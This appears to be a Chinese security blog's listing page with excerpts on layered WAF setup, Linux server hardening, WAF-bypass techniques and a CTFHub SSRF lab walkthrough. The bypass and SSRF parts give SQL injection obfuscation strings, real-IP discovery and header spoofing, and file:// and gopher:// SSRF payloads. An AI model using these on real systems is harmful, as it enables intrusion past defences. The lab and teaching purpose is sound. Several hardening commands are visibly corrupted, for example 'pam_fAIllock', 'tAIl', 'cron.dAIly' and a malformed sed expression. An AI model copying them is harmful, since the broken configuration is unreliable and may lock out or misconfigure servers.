首页
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
7,787 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
5,137 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
4,284 阅读
4
几个常见的密码字典推荐
3,377 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
3,214 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
SQL注入
靶场实战
提权
代理隧道
域渗透
信息收集
权限提升
WAF绕过
hackmyvm
AI安全
云安全
权限维持
红队攻击
蓝队防御
云服务
白小羽
累计撰写
187
篇文章
累计收到
0
条评论
首页
导航
工具导航
留言面板
友情链接
搜索到
9
篇与
的结果
2026-07-15
纵深防御,雷池 + ModSecurity企业级双重 WAF 环境搭建
对于雷池的文章我还有这几篇,包括常见的https配置、雷池+frp反代,以及其他的试用方法都有https://mp.weixin.qq.com/s/3JLrkymD7d46IaWbQup4wQhttps://mp.weixin.qq.com/s/Nvkx7Qdacmm9wx6OpJbejAhttps://mp.weixin.qq.com/s/VBD12Ttwh8JS1oQLC_4gWAhttps://mp.weixin.qq.com/s/z0NU3V4RASBFoE_cG0js7A本篇文章主要讲解halo和雷池的搭建过程,以及防护流量走向,架构设计等等算上自己上班时间,这篇文章总耗时7天+,自认为是一篇非常不错的文章,建议收藏转发,共5k+字,防止后面找不到了在写这篇文章期间遇到过很多部署问题,不过已经被我小羽全部解决了通过本篇文章可以避免很多问题,帮助您搭建属于自己的防护环境,即使您没有任何WAF搭建的经历,也可以通过本篇文章来学习企业级WAF环境搭建的完整流程完整总体网络拓扑架构互联网流量 │ ▼ ┌─────────────┐ │ WAF-A │ 第一层(外层) │ (如雷池) │ └──────┬──────┘ │ 反代 ▼ ┌─────────────┐ │ WAF-B │ 第二层(内层) │ (如ModSec) │ └──────┬──────┘ │ 反代 ▼ ┌─────────────┐ │ halo │ 真实后端 └─────────────┘若读过我这篇文章的师傅们,2025最新教程,使用雷池搭建内网靶场,进行简单的WAF绕过搭配上本篇文章的教学,完全能搭建出如下架构的企业级防护环境,再牛逼点,自己再配个系统加固的防护应用为什么要采用这样的架构?不同的WAF产品拦截规则、检测的算法一般都是不同的,如果攻击者绕过了第一层WAF,那么第二层就不一定能绕过了,这才是核心价值,非常恶心的是,现实环境中还真有人这么干,层层防护,做系统加固一般这样的架构第一层WAF,用来拦截常见的攻击手法比如漏扫 / CC,第二层针对真实的业务进行定制拦截,两层分贝专注不同的威胁,如果不嫌流量太多,那你可以全开,这样做的好处就是减少日志分析的压力服务器选购
2026年07月15日
123 阅读
0 评论
0 点赞
2026-04-10
Linux 服务器如何进行安全加固?
前言Linux 服务器是企业业务的核心载体,从 Web 服务、数据库、中间件到容器集群,绝大多数生产业务都运行在 Linux 系统之上。而互联网暴露面扩大、供应链漏洞频发、定向攻击常态化,让 Linux 服务器成为黑客入侵的首要目标。安全加固的核心目标,是通过最小权限原则、纵深防御体系、持续审计机制,缩小服务器攻击面,阻断攻击路径,提升抗入侵能力 —— 即使边界防护被突破,也能最大程度保护核心数据与业务安全。本文覆盖从账号认证、服务最小化、权限管控到网络防护、日志审计、入侵检测的全维度落地方案,适配 CentOS 7/8/9、RHEL 7/8/9、Ubuntu 20.04/22.04/24.04 等主流企业级发行版,所有操作均配套明确的配置命令、验证方法与回滚方案,可直接落地到生产环境。一、前置核心加固原则所有加固操作需严格遵循以下原则,避免业务中断或防护失效:1、 最小权限原则:仅给用户、服务、进程分配完成任务所需的最小权限,杜绝过度授权2、 最小暴露原则:关闭所有非必要的端口、服务、组件,从根源缩小攻击面3、 纵深防御原则:构建账号、网络、文件、应用多层防护体系,避免单点防护失效4、 可回滚原则:修改配置前必须备份原文件,所有操作均配套回滚方法,避免生产故障5、 持续审计原则:加固不是一次性操作,需定期开展基线检查、漏洞扫描与日志审计,持续优化防护策略【生产环境避坑提示】所有涉及系统核心配置、SSH 服务、防火墙的修改,需先在测试环境验证,再逐步落地生产;修改 SSH 配置后,需先保留当前会话,用新会话测试登录正常后,再关闭原会话,避免服务器失联。二、账号与身份认证安全加固账号与认证是服务器安全的第一道防线,超过 70% 的 Linux 入侵事件,都源于弱口令、账号过度授权、SSH 配置缺陷导致的边界突破。2.1 清理无用账号,消除风险账户系统安装、业务迭代过程中会产生大量无用账号,包括默认创建的程序账号、废弃的运维账号,这些账号往往成为黑客入侵的突破口。# 1、备份原账号配置文件,方便回滚 cp /etc/passwd /etc/passwd.bak.$(date +%Y%m%d) cp /etc/shadow /etc/shadow.bak.$(date +%Y%m%d) # 2、查看系统中所有可登录的账号,排查废弃账号 cat /etc/passwd | grep -E "/bin/bash|/bin/sh|/bin/zsh" # 3、锁定无用账号(推荐,可恢复,比直接删除更安全) usermod -L 废弃用户名 # 解锁账号回滚命令:usermod -U 废弃用户名 # 4、禁用程序账号的登录权限,杜绝账号被滥用 usermod -s /sbin/nologin 程序用户名 # 示例:usermod -s /sbin/nologin apache 2.2 强制配置强密码策略弱口令是黑客暴力破解的首要目标,需通过 PAM 模块强制系统所有用户使用复杂度达标的密码,同时限制密码有效期与重试次数。适配 CentOS/RHEL 系列# 1、安装密码质量检测模块 yum install -y libpwquality # 2、修改密码策略配置文件,强制密码复杂度 vi /etc/security/pwquality.conf # 新增/修改以下配置: minlen = 12 # 密码最小长度12位 minclass = 3 # 必须包含大小写字母、数字、特殊符号中的3种 maxrepeat = 3 # 禁止连续3个相同字符 difok = 5 # 新密码与旧密码至少5个字符不同 enforce_for_root = 1 # 强制root用户也遵循该策略 # 3、配置密码登录失败锁定策略,防止暴力破解 vi /etc/pam.d/system-auth vi /etc/pam.d/password-auth # 在auth字段新增配置,连续5次失败锁定10分钟: auth required pam_fAIllock.so preauth audit silent deny=5 unlock_time=600 auth [default=die] pam_fAIllock.so authfAIl audit deny=5 unlock_time=600 auth sufficient pam_fAIllock.so authsucc audit 适配 Ubuntu/Debian 系列# 1、安装密码质量检测模块 apt install -y libpam-pwquality # 2、修改密码策略配置 vi /etc/pam.d/common-password # 修改pam_pwquality.so行,添加强制规则: password requisite pam_pwquality.so retry=3 minlen=12 minclass=3 maxrepeat=3 enforce_for_root # 3、配置登录失败锁定策略 vi /etc/pam.d/common-auth # 新增配置,连续5次失败锁定10分钟: auth required pam_fAIllock.so preauth audit silent deny=5 unlock_time=600 auth [default=die] pam_fAIllock.so authfAIl audit deny=5 unlock_time=600 auth sufficient pam_fAIllock.so authsucc audit 2.3 SSH 服务全维度安全加固SSH 是 Linux 远程管理的核心协议,也是黑客攻击的头号目标,需从认证方式、访问控制、端口配置等维度完成全量加固。# 1、备份SSH配置文件,方便回滚 cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak.$(date +%Y%m%d) # 2、修改SSH核心配置 vi /etc/ssh/sshd_config # 核心加固项如下: Port 22345 # 修改默认22端口,减少全网扫描攻击 PermitRootLogin no # 禁止root用户直接登录 PubkeyAuthentication yes # 开启公钥认证,优先使用密钥登录 PasswordAuthentication no # 关闭密码认证,彻底杜绝暴力破解 PermitEmptyPasswords no # 禁止空密码登录 MaxAuthTries 3 # 最大认证尝试次数3次 ClientAliveInterval 300 # 5分钟无操作自动断开连接 ClientAliveCountMax 2 # 无响应最大次数2次 AllowUsers 运维用户名@192.168.1.0/24 # 配置IP白名单,仅允许指定网段的指定用户登录 # 禁止使用不安全的加密算法与协议 KexAlgorithms curve25519-sha256@libssh.org,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256 Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,umac-128-etm@openssh.com # 3、验证SSH配置语法是否正确,避免配置错误导致服务崩溃 sshd -t # 配置无报错后,重启SSH服务生效 # CentOS/RHEL:systemctl restart sshd # Ubuntu/Debian:systemctl restart ssh # 4、验证加固效果,用新会话测试登录,确认白名单、密钥认证正常生效 2.4 Sudo 提权权限精细化管控绝大多数提权攻击都利用了 sudo 的过度授权,需严格限制普通用户的 sudo 权限,杜绝直接给用户分配 ALL 权限。# 1、备份sudo配置文件 cp /etc/sudoers /etc/sudoers.bak.$(date +%Y%m%d) # 2、使用visudo命令编辑sudo配置(自带语法检查,避免配置错误) visudo # 错误配置(禁止使用):运维用户名 ALL=(ALL) ALL # 正确配置:仅给用户分配完成工作所需的最小命令权限,示例: 运维用户名 ALL=(ALL) /usr/bin/systemctl restart nginx, /usr/bin/tAIl -f /var/log/nginx/access.log # 禁止用户通过sudo修改sudo配置、切换root、执行高危命令 Defaults !visiblepw Defaults always_set_home Defaults secure_path = /sbin:/bin:/usr/sbin:/usr/bin Defaults env_reset # 禁止sudo执行su、vim、bash等可直接提权的命令 运维用户名 ALL=(ALL) !/usr/bin/su, !/usr/bin/bash, !/usr/bin/vim /etc/sudoers, !/usr/bin/visudo 三、系统服务与组件最小化加固系统运行的服务越多,开放的端口与攻击面就越大,黑客可利用的漏洞点就越多。最小化加固的核心,是只保留业务必需的服务与组件,关闭所有非必要内容。3.1 关闭非必要服务,缩小攻击面# 1、查看系统当前运行的所有服务 systemctl list-units --type=service --state=running # 2、停止并禁用非必要服务,示例如下(根据业务实际情况调整) # 禁用打印服务 systemctl stop cups systemctl disable cups # 禁用蓝牙服务 systemctl stop bluetooth systemctl disable bluetooth # 禁用IPv6相关服务(业务不使用IPv6时) systemctl stop ip6tables systemctl disable ip6tables # 禁用rpcbind服务(不使用NFS共享时) systemctl stop rpcbind systemctl disable rpcbind # 3、验证服务状态,确认已停止并禁用 systemctl status cups 3.2 定时任务安全管控定时任务是黑客权限维持的常用载体,需严格管控定时任务的创建权限,定期排查异常任务。# 1、限制允许使用crontab的用户,仅白名单用户可创建定时任务 echo "root" > /etc/cron.allow echo "运维用户名" >> /etc/cron.allow # 不在cron.allow中的用户,一律禁止使用crontab # 2、定期排查所有定时任务,发现异常立即处置 # 查看系统级定时任务 ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.dAIly/ /etc/cron.weekly/ /etc/cron.monthly/ # 查看所有用户的定时任务 cat /etc/passwd | cut -f1 -d: | xargs -I {} crontab -l -u {} 2>/dev/null # 3、给定时任务配置文件添加不可变属性,防止黑客篡改 chattr +i /etc/crontab chattr +i /etc/cron.allow 3.3 软件包与仓库安全加固# 1、删除非官方、不可信的软件源,仅保留官方仓库 # CentOS/RHEL:查看仓库配置 ls /etc/yum.repos.d/ # Ubuntu/Debian:查看仓库配置 ls /etc/apt/sources.list.d/ # 2、配置官方源的HTTPS协议,防止源劫持 # Ubuntu/Debian示例: sed -i 's/http://https://g' /etc/apt/sources.list # 3、禁止内核版本自动更新,避免生产业务兼容性故障 # CentOS/RHEL:yum install -y yum-plugin-versionlock && yum versionlock kernel* # Ubuntu/Debian:apt-mark hold Linux-image-generic Linux-headers-generic # 4、定期清理无用的软件包与依赖,减少攻击面 # CentOS/RHEL:yum autoremove -y # Ubuntu/Debian:apt autoremove -y 四、文件系统与权限安全加固Linux 的一切皆文件,文件权限管控是系统安全的核心,黑客入侵后往往通过文件权限漏洞实现提权、持久化、数据窃取。4.1 关键系统文件权限严格管控# 1、核心账号配置文件权限加固 chmod 644 /etc/passwd chmod 600 /etc/shadow chmod 644 /etc/group chmod 600 /etc/gshadow chown root:root /etc/passwd /etc/shadow /etc/group /etc/gshadow # 2、SSH配置文件权限加固 chmod 700 /root/.ssh chmod 600 /root/.ssh/authorized_keys chown root:root /root/.ssh /root/.ssh/authorized_keys chmod 600 /etc/ssh/sshd_config chown root:root /etc/ssh/sshd_config # 3、sudo配置文件权限加固 chmod 440 /etc/sudoers chown root:root /etc/sudoers # 4、全局查找全局可写的危险文件,排查权限漏洞 find / -type f -perm -0002 ! -type l -ls 2>/dev/null # 全局查找SUID权限的可执行文件,排查提权风险点 find / -perm -4000 -type f -ls 2>/dev/null 4.2 敏感文件不可变属性锁定通过 chattr 命令给核心配置文件添加不可变属性,即使是 root 用户,也无法修改、删除文件,防止黑客篡改系统配置、植入后门。# 1、锁定核心账号配置文件,禁止账号新增、修改 chattr +i /etc/passwd /etc/shadow /etc/group /etc/gshadow # 2、锁定SSH与sudo配置文件,防止黑客修改认证规则 chattr +i /etc/ssh/sshd_config /etc/sudoers # 3、锁定定时任务配置,防止黑客植入持久化后门 chattr +i /etc/crontab # 4、查看文件的扩展属性,确认锁定生效 lsattr /etc/passwd # 回滚方法:如需修改文件,先解除锁定 chattr -i 文件名 4.3 分区挂载安全加固通过分区挂载参数,限制高危操作,防止缓冲区溢出、提权攻击,生产环境建议单独给 /boot、/home、/tmp、/var 分区,避免根目录占满导致业务故障,同时配置安全挂载参数。# 1、修改/etc/fstab文件,配置分区安全挂载参数 vi /etc/fstab # 核心加固参数示例: # /tmp分区:禁止SUID、禁止设备文件、禁止可执行程序、禁止强制访问控制 /dev/sdb1 /tmp ext4 defaults,noexec,nosuid,nodev 0 0 # /var分区:禁止SUID、禁止设备文件 /dev/sdb2 /var ext4 defaults,nosuid,nodev 0 0 # /home分区:禁止SUID、禁止设备文件 /dev/sdb3 /home ext4 defaults,nosuid,nodev 0 0 # 2、重新挂载分区,使配置生效 mount -o remount /tmp mount -o remount /var mount -o remount /home # 3、验证挂载参数是否生效 mount | grep /tmp 4.4 核心文件完整性监控部署文件完整性监控工具,实时检测核心文件的修改行为,一旦出现非计划内的变更,立即触发告警,第一时间发现黑客的篡改行为。# 1、安装AIDE文件完整性监控工具 # CentOS/RHEL:yum install -y aide # Ubuntu/Debian:apt install -y aide # 2、初始化AIDE数据库,生成系统文件基线 aide --init mv /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz # 3、执行完整性检查,对比基线发现文件变更 aide --check # 4、配置定时任务,每天凌晨自动执行检查,发送告警邮件 echo '0 0 * * * root /usr/sbin/aide --check | mail -s "服务器文件完整性告警" 运维邮箱地址' > /etc/cron.d/aide_check 五、网络与防火墙安全加固网络层是阻断外部攻击的关键屏障,通过防火墙、内核参数加固,过滤恶意流量,防止端口扫描、DDoS 攻击、内网横向渗透。5.1 防火墙规则精细化配置根据业务实际需求,配置白名单规则,仅开放业务必需的端口,默认拒绝所有其他访问,这是网络防护的核心原则。适配 CentOS/RHEL 系列(firewalld)# 1、启动firewalld服务并设置开机自启 systemctl start firewalld systemctl enable firewalld # 2、配置默认规则:默认拒绝所有入站流量,允许所有出站流量 firewall-cmd --set-default-zone=drop firewall-cmd --permanent --zone=drop --set-target=DROP # 3、仅开放业务必需的端口,示例: # 开放自定义SSH端口22345,仅允许内网网段访问 firewall-cmd --permanent --zone=drop --add-rich-rule='rule family="ipv4" source address="192.168.1.0/24" port protocol="tcp" port="22345" accept' # 开放Web服务80、443端口,允许全网访问 firewall-cmd --permanent --zone=drop --add-port=80/tcp firewall-cmd --permanent --zone=drop --add-port=443/tcp # 开放数据库3306端口,仅允许业务服务器IP访问 firewall-cmd --permanent --zone=drop --add-rich-rule='rule family="ipv4" source address="172.16.1.10/32" port protocol="tcp" port="3306" accept' # 4、重载防火墙规则,使配置生效 firewall-cmd --reload # 5、验证防火墙规则是否生效 firewall-cmd --list-all 适配 Ubuntu/Debian 系列(ufw)# 1、安装并启动ufw防火墙 apt install -y ufw systemctl start ufw systemctl enable ufw # 2、配置默认规则 ufw default deny incoming ufw default allow outgoing # 3、开放业务必需的端口,示例: # 自定义SSH端口22345,仅允许内网网段访问 ufw allow from 192.168.1.0/24 to any port 22345 proto tcp # 开放Web服务80、443端口 ufw allow 80/tcp ufw allow 443/tcp # 开放数据库3306端口,仅允许业务服务器访问 ufw allow from 172.16.1.10/32 to any port 3306 proto tcp # 4、启用防火墙并验证规则 ufw enable ufw status verbose 5.2 内核网络参数安全加固通过修改 /etc/sysctl.conf 内核参数,开启系统自带的网络防护能力,抵御 SYN 洪水、IP 欺骗、ICMP 攻击等常见网络攻击。# 1、备份sysctl配置文件 cp /etc/sysctl.conf /etc/sysctl.conf.bak.$(date +%Y%m%d) # 2、修改内核参数配置 vi /etc/sysctl.conf # 新增/修改以下核心加固配置: # 开启SYN Cookies,抵御SYN洪水攻击 net.ipv4.tcp_syncookies = 1 # 禁用IP源路由,防止IP欺骗 net.ipv4.conf.all.accept_source_route = 0 net.ipv4.conf.default.accept_source_route = 0 # 禁用ICMP重定向,防止路由劫持 net.ipv4.conf.all.accept_redirects = 0 net.ipv4.conf.default.accept_redirects = 0 net.ipv4.conf.all.secure_redirects = 0 net.ipv4.conf.default.secure_redirects = 0 # 开启反向路径过滤,防止IP地址欺骗 net.ipv4.conf.all.rp_filter = 1 net.ipv4.conf.default.rp_filter = 1 # 禁用IP转发,非网关服务器必须关闭 net.ipv4.ip_forward = 0 net.ipv6.conf.all.forwarding = 0 # 忽略广播ICMP请求,防止Smurf攻击 net.ipv4.icmp_echo_ignore_broadcasts = 1 # 忽略所有ICMP请求,业务不需要时开启 # net.ipv4.icmp_echo_ignore_all = 1 # 开启TCP洪水攻击防护 net.ipv4.tcp_synack_retries = 2 net.ipv4.tcp_syn_retries = 2 # 开启地址空间布局随机化,抵御缓冲区溢出攻击 kernel.randomize_va_space = 2 # 3、使内核参数配置生效 sysctl -p 六、日志审计与入侵防御体系建设6.1 日志全量审计与远程同步本地日志可被黑客删除篡改,必须配置日志远程同步,将所有系统日志、认证日志、业务日志实时同步到不可篡改的远程日志平台,这是溯源攻击行为的核心根基。# 1、配置rsyslog日志远程同步,将日志发送到远程日志服务器 vi /etc/rsyslog.conf # 新增配置,将所有日志通过TCP协议发送到远程日志服务器192.168.1.200的514端口 *.* @@192.168.1.200:514 # 2、重启rsyslog服务生效 systemctl restart rsyslog # 3、配置日志轮转,防止日志占满磁盘空间 vi /etc/logrotate.conf # 核心配置: rotate 30 # 保留30天的日志 daily # 每天轮转一次 compress # 压缩历史日志 missingok # 日志文件不存在不报错 notifempty # 空日志不轮转 6.2 系统操作行为全量审计通过 auditd 审计服务,监控所有敏感操作,包括账号修改、文件篡改、命令执行、权限变更,所有操作都会被记录,即使黑客清理了 Shell 历史,也无法删除审计日志。# 1、安装auditd审计服务 # CentOS/RHEL:yum install -y audit # Ubuntu/Debian:apt install -y auditd audispd-plugins # 2、启动服务并设置开机自启 systemctl start auditd systemctl enable auditd # 3、配置审计规则,监控核心敏感操作 vi /etc/audit/rules.d/audit.rules # 新增核心审计规则: # 监控账号配置文件修改 -w /etc/passwd -p wa -k passwd_modify -w /etc/shadow -p wa -k shadow_modify -w /etc/group -p wa -k group_modify # 监控认证配置修改 -w /etc/ssh/sshd_config -p wa -k sshd_modify -w /etc/sudoers -p wa -k sudo_modify # 监控定时任务修改 -w /etc/crontab -p wa -k cron_modify -w /etc/cron.d/ -p wa -k cron_dir_modify # 监控root用户的命令执行 -a exit,always -F arch=b64 -F euid=0 -S execve -k root_exec # 监控SUID提权操作 -a always,exit -F arch=b64 -S execve -F path=/usr/bin/su -k su_exec -a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k sudo_exec # 4、重载审计规则生效 augenrules --load # 5、查看审计日志,排查异常操作 ausearch -k passwd_modify ausearch -k sshd_modify 6.3 入侵防御工具部署1、 部署 fail2ban,自动封禁暴力破解 IP:监控 SSH、Web 服务的登录失败日志,连续多次失败后自动封禁 IP,杜绝暴力破解攻击。2、 部署 rkhunter 与 chkrootkit,定期检测 rootkit 后门:每周执行一次全盘扫描,检测黑客植入的 rootkit、后门程序。3、 部署 ClamAV 开源杀毒软件,定期扫描恶意文件:配置定时任务,每天凌晨扫描 Web 目录、临时目录,查杀 WebShell、恶意程序。七、持续运营与应急响应安全加固不是一次性操作,而是持续的运营过程,需建立完整的基线检查、漏洞管理、应急响应机制:1、 每月执行一次系统安全基线检查,对比加固基线,发现配置偏移立即修复2、 每周执行一次系统漏洞扫描,及时安装系统与软件的安全补丁,高危漏洞需 24 小时内完成修复3、 每天审计系统日志与告警信息,发现异常登录、文件修改、端口扫描行为,立即启动应急排查4、 定期备份核心配置文件与业务数据,制定完整的应急响应预案,发生入侵事件时可快速隔离、溯源、恢复业务结尾Linux 服务器安全加固的核心,是构建 “事前预防、事中阻断、事后溯源” 的完整防护体系。没有绝对安全的系统,但通过最小权限、纵深防御、持续审计的加固思路,可最大程度提升服务器的抗入侵能力,将黑客攻击的成本提升到最高,攻击成功率降到最低。
2026年04月10日
1,010 阅读
0 评论
0 点赞
2025-06-28
HW 中如何利用 WAF 缺陷进行绕过
在挖洞过程中,往往会遇到各种攻击利用被WAF拦截的情况,本文浅析总结了常见的一些绕过思路以及具体实现浅析WAF绕过在挖洞过程中,往往会遇到各种攻击利用被WAF拦截的情况,本文浅析总结了常见的一些绕过思路以及具体实现利用WAF的缺陷绕过1.1利用WAF性能缺陷-垃圾字符填充对于通用性较强的软WAF来说,不得不考虑到各种机器和系统的性能,故对于一些超大数据包、超长数据可能会跳过不检测因此可以填充大量垃圾字符来逃避WAF对数据包的检测如下1.2利用WAF性能缺陷-发送大量请求包可以采取高并发的攻击手段,WAF同样出于性能考虑可能会直接放行部分数据包。2.利用WAF适配组件的缺陷由于后端web容器、中间件、数据库、脚本语言的多样性,waf很难覆盖全,容易导致waf解析不了而后端可以正常解析读取导致的绕过IIS+asp在IIS+ASP的环境中,如果url中出现了百分号,但后面邻接的字符拼起来后又不在url编码表之内的话,ASP脚本处理时会将其忽略例如假设有如下请求xxx.asp?id=1 union se%lect 1,2,3,4 fro%m adm%inwaf规则不严放行后,后端由于该特性成功处理执行了xxx.asp?id=1 union select 1,2,3,4 from admin导致绕过TOMCATtomcat的特性也可以构造出许多绕过的方式,可以参考https://y4tacker.github.io/2022/06/19/year/2022/6/%E6%8E%A2%E5%AF%BBTomcat%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%B5%81%E9%87%8F%E5%B1%82%E9%9D%A2%E7%BB%95waf%E6%96%B0%E5%A7%BF%E5%8A%BF/这篇文章1.参数前后添加空白字符绕过filename="1.jsp"的filename字符左右可以加上一些空白字符%20 %09 %0a %0b %0c %0d %1c %1d %1e %1f,比如%20filename%0a="1.jsp"这样导致waf匹配不到我们上传⽂件2.utf-16、cp037等各种编码绕过utf-16cp037(原始payload为' and (7=len(db_name())) and 'a' = 'a)json下的unicode编码3.利用waf适配协议的缺陷3.1畸形请求(与Web应用所处的中间件有关,在部分中间件下不适用)将HTTP请求头变为随机字符串例如xxxxT请求方法后加一个table等空字符使用get请求方法但带上post体(需要服务端能正常接受)3.2分块传输仅仅适用于post传输方法分块传输不少waf现在也都可以识别了,可以结合waf性能缺陷的思路综合利用-延时分块传输具体使用可以参考该项目 http://github.com/c0ny1/chunked-coding-converter3.3非预期请求方式get改为post、Content-Type: application/x-www-form-urlencoded改为multipart/form-data等跳过waf直接访问服务器寻找真实ip绕过云waf云waf通过配置NS或者CNAME记录,使得对网站的请求报文优先经过WAF主机,经过WAF主机过滤之后,将被认为无害的请求报文再送给实际的网站服务器进行请求,此时只要找到服务器的真实ip,修改host为服务器真是ip即可绕过云waf常见寻找真实ip的方式有如下几种1.证书信息查询 https://myssl.com/2.dns历史解析记录3.搜集子域名ip c段(考虑到费用问题,一些子域名并不会部署)4.超级ping......寻找没有部署waf的nginx反代机器当waf在nginx服务器上部署,且存在nginx集群时,可以试试尝试寻找能反代服务却又没用部署waf的机器访问进行绕过以下面这个为例,测试某接口发现被拦截搜集ip信息为xxx.xxx.200.1xx查找c段服务,一个个访问尝试利用成功利用waf白名单WAF存在某些机制,不处理和拦截白名单中的请求数据例如特定的ip,来自于搜索引擎爬虫的访问数据等特定ip可以使用https://github.com/TheKingOfDuck/burpFakeIP插件将xff等头部设置为127.0.0.1等进行绕过尝试搜索引擎爬虫的访问数据User-Agent修改为谷歌搜索引擎等原文链接:https://forum.butian.net/share/3639
2025年06月28日
1,571 阅读
0 评论
0 点赞
2025-05-18
CTFHub技能树通关教程——SSRF漏洞原理攻击与防御
什么是SSRF?即服务器端请求伪造(Server-Side Request Forgery),是一种网络攻击技术,攻击者利用服务器上的应用程序向任意服务器发起请求或者操作,这些请求可能包括但不限于文件读取、命令执行、端口扫描等。由于这些请求是从服务器内部发起的,因此他们可以绕过服务器的外部访问控制,访问内部网络资源或者执行恶意操作。它的危害SSRF攻击通常发生再服务器应用程序允许用户输入被用于构建请求 URL的情况下。如果输入没有得到适当的验证和过滤,攻击者就可以利用这一点来发起恶意请求。例如,如果一个应用程序允许用户输入一个URL来下载文件,攻击者可能会输入指向内部服务器的URL,从而访问或者下载内部文件。如何防御?验证所有用户输入,确保它们是合法的和预期的。限制可访问的URL或资源,避免访问内部网络或敏感资源。使用白名单机制,只允许访问预定义的、安全的URL。对于敏感操作,实施额外的安全措施,如身份验证和授权检查。SSRF漏洞复现靶场:CTFHub,Pikachu内网访问开启环境后,查看题目条件,找出位于127.0.0.1的flag.php页面什么也没有根据题目要求尝试使用这个url参数,进行内网访问,但是页面什么也没有仔细观察url参数前面有一个_,将它删掉试试,测试成功伪协议读取文件常见的伪协议类型有file:///dict://sftp://ldap://tftp://gopher://这里我们用到的是file:/// --本地文件传输协议,主要用来访问本地计算机中的文件,构造payload如下。/?url=file:///var/www/html/flag.php鬼的,他就三个?对于刚入门的小白,我懵逼了。。。。直到几分钟后我查看了他的源码。emmmm,这不就是我们的结果嘛,这关过了端口扫描题目:来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦截取到请求包之后发送到攻击器(Intruder)添加payload,这里只有一个需要爆破,所以攻击方式选狙击手设置payload为数值型,因为需要扫描的端口是8000-9000,所以payload配置如下验证匹配结果,并开始攻击端口爆破成功,成功找到flag,端口为8248尝试使用浏览器访问内网的8248端口,成功!Gopher协议的利用定义:Gopher是早期的Internet信息检索系统,通过索引将用户引导至不同资源,主要使用TCP 70端口。在WWW普及前,它是主要的检索工具,但现已基本过时,使用较少。gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是SSRF利用中最强大的协议POST题目:这次是发一个HTTP POST请求.对了.SSRF是用php的curl实现的.并且会跟踪302跳转.加油吧骚年这个题目中呢有这么一个文件,在127.0.0.1中的flag.php当我尝试输入了各种值,抓包分析,直到我查看了源码。。这里有一个key,还是被注释了的,不知道是干嘛的先复制下来2161b9fb20ae6d96b0604425b1de64be,尝试使用file协议查看php源码,访问默认web目录var/www/html/flag.php,即?url=file:///var/www/html/flag.php这时候即可查看源码,尝试进行分析 <?php //关闭所有的错误报告 error_reporting(0); //判断请求的ip地址是否是127.0.0.1 if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") { //如果不是127.0.0.1,就返回这段字符串 echo "Just View From 127.0.0.1"; return; } //falg的获取 $flag=getenv("CTFHUB"); $key = md5($flag); //判断post请求中是否存在key这个参数,key就是刚刚页面上看到的注释的值 if (isset($_POST["key"]) && $_POST["key"] == $key) { echo $flag; exit; } ?> <form action="/flag.php" method="post"> <input type="text" name="key"> <!-- Debug: key=<?php echo $key;?>--> </form>每个项目中默认主页都是index,这是一个php靶场,那么这首页就是index.php/?url=file:///var/www/html/index.php访问之后是个空页面,但是查看网页源码会发现,尝试分析一下源码<?php //关闭错误报告 error_reporting(0); //判断url参数是否存在 if (!isset($_REQUEST['url'])){ //不存在就跳转到当前根目录 header("Location: /?url=_"); exit; } //初始化curl $ch = curl_init(); //指定请求的url curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']); //告诉curl不返回http头,只返回http正文 curl_setopt($ch, CURLOPT_HEADER, 0); //允许cURL跟随重定向。如果服务器响应包含重定向,cURL将自动处理。 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_exec($ch); curl_close($ch);这段代码没有包含错误处理,也没有设置CURLOPT_RETURNTRANSFER选项,这可能导致cURL的输出直接被输出到浏览器,所以可以利用此curl漏洞进行攻击构造POST请求包访问flag.php查看源码找到key,并输入到输入框,使用bp拦截尝试使用Gopher 协议向服务器发送 POST 包在使用Gopher协议发送POST请求包时,HOST、Content-Type和Content-Length请求头是必不可少的,但是在GET请求中可以没有。key值为自己所获得的。在向服务器发送请求时,首先浏览器会进行一次URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次解码。所以我们需要对构造的请求包进行两次编码:第一次解码将解码的结果复制下来,保存在txt文档中,其中需要将%0A替换成 %0D%0A因为%0A是ASCII 码中的换行符,在URL的二次编码中不需要,否则会导致curl执行错误,导致我们拿不到正确的结果替换完成之后,再次进行url编码,这里的url就是源码中的curl要执行的//使用gopher协议,构造payload ?url=gopher://127.0.0.1:80/_二次编码的url(注意别少了前面那个下划线)得到结果!上传文件题目:这次需要上传一个文件到flag.php了.祝你好运访问内网下的127.0.0.1/flag.php,这里什么也没有,就一个上传文件,还没有提交按钮这里脑回路就来了,题目要求是上传文件,没有提交按钮,我可以自己添加一个啊(・◡ु‹ )Tips:在html中如果button在form标签中,默认是提交按钮,这里可以不要改变他的type属性。这个时候就可以提交了,但是没有任何内容。我们尝试访问源码利用file协议基础漏洞访问 file:///var/www/html/flag.php<?php error_reporting(0); //判断请求的ip,虽然不能访问127.0.0.1,但是可以使用Gopher协议绕过 if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){ echo "Just View From 127.0.0.1"; return; } // 判断文件是否存在 if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){ echo getenv("CTFHUB"); exit; } ?> Upload Webshell <form action="/flag.php" method="post" enctype="multipart/form-data"> <input type="file" name="file"> </form>构造自己的post上传文件请求包POST /flag.php HTTP/1.1 Host: challenge-3fe3506777a14929.sandbox.CTFhub.com:10800 Content-Length: 231 